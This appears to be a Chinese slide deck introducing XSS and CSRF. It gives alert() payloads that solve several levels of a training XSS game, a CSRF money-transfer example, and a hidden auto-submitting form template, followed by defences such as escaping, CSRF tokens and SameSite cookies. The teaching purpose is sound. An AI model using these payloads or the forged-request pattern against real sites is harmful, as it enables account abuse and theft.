XSS & CSRF
前端安全简介
24 July 2019
CJ Ting
CJ Ting
XSS 全称是 Cross Site Script，跨站点脚本，因为缩写和 CSS 重名，所以业界一般称为 XSS。
简单来说：在别人的网站执行任意 JS。
3一个典型的 反射型 XSS 漏洞。
4我该怎样利用这个漏洞？
上面列出的是最明显的方法，攻防领域不断在演进，这是一个技巧和智慧层出不迭的领域。
5xss-game.appspot.com/level1/frame
8可以看到，网站对于用户输入完全不做任何处理。
<script>alert()</script>xss-game.appspot.com/level2/frame
10这是一个典型的 存储型 XSS 漏洞。
这里牵涉到一个 JS 的小知识，通过 innerHTML 添加的 script 标签不会得到执行。
因此，我们需要使用别的标签来执行 JS，最方便的就是 img 标签。
<img src="" onerror="alert()" />xss-game.appspot.com/level3/frame
12这是第三种类型的 XSS，DOM XSS。即完全不经过服务器，客户端代码直接从客户端取得输入。
https://xss-game.appspot.com/level3/frame#3.jpg'%20onload=%22alert()%22%20abc='xss-game.appspot.com/level4/frame
14这一关需要观察网页的特征，查看源代码。
https://xss-game.appspot.com/level4/frame?timer=1%27)%3Balert(%27xss-game.appspot.com/level5/frame
16同样需要研究源代码，寻找 XSS 漏洞。
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert()xss-game.appspot.com/level6/frame
18目标网站根据 URL 动态加载资源，虽然做了检查，但是百密一疏。
https://xss-game.appspot.com/level6/frame#//pastebin.com/raw/ApUeAjZg防范 XSS 的一个重要方法就是 Escape，转义。
对于任何用户输入的内容，都要认为不安全，并根据上下文进行转义。这是很繁重的工作，一般交给框架自动处理。
其他一些措施：
Content-Type 头。没有这个头，很多浏览器会自动猜测类型，这可能会导致将内容解释成 HTML，从而引发 XSS。javascript: 来执行 JS。XSS 很多时候攻击的一个要点是要绕过服务器的转义，因此，客户端转义就是一个很有效的手段。
21CSRF 全称是 Cross-Site Request Forgery，跨站点请求伪造。
简单来说：诱导用户在目标网站上执行非本意操作。
23
某个银行网站 A 的转账使用 GET /send?target=&amount= 接口，用户 B 已经登陆 A 网站。
我们诱导用户 B 点击链接 /send?target=me&amount=1000，那么，在一切不知情的情况下，用户将损失 1000 元。
或者，我们可以诱导用户访问某个页面，使用 <img src="/send?target=me&amount=1000" />。
又或者，我们可以给用户发送一封电子邮件，等等等等。
24一般来说，操作资源的接口都是 POST，无法通过点击 URL 触发。
不要紧，我们可以构造页面，使用 form 自动提交。
<iframe style="display: none" name="iframe"></iframe>
<form action="https://www.baidu.com" method="post" target="iframe"></form>
<script type="text/javascript">
document.querySelector("form").submit()
</script>这里使用了 form 的 target 属性将结果显示在 iframe 中。
怎样诱导用户进入这个页面是技术以外的问题了。
25CSRF 的本质是第三方触发了用户对于目标网站的请求，该请求会携带 Cookie 因此鉴权不会有问题，从而导致了非用户本意的行为。
服务端在渲染网页时，会生成一个 Token，存放着页面中以及 Cookie 中。
客户端在请求时，会携带这个 Token，服务端会校验，如果 Token 不匹配，说明该请求并非来自于我们自己的站点。
这个方案简单有效，而且一般来说框架可以替我们透明处理掉。
27
Chrome 给 Set-Cookie 增加了一个新的属性 SameSite，取值如下：
Strict: 第三方域名发起的请求中将不会携带任何目标域名的 CookieLax: GET 请求会携带，其他请求不会安全是非常复杂的问题，漏洞往往隐藏在细微之处。
事发之前，都是岁月静好，一切正常。
我们要做的就是
CJ Ting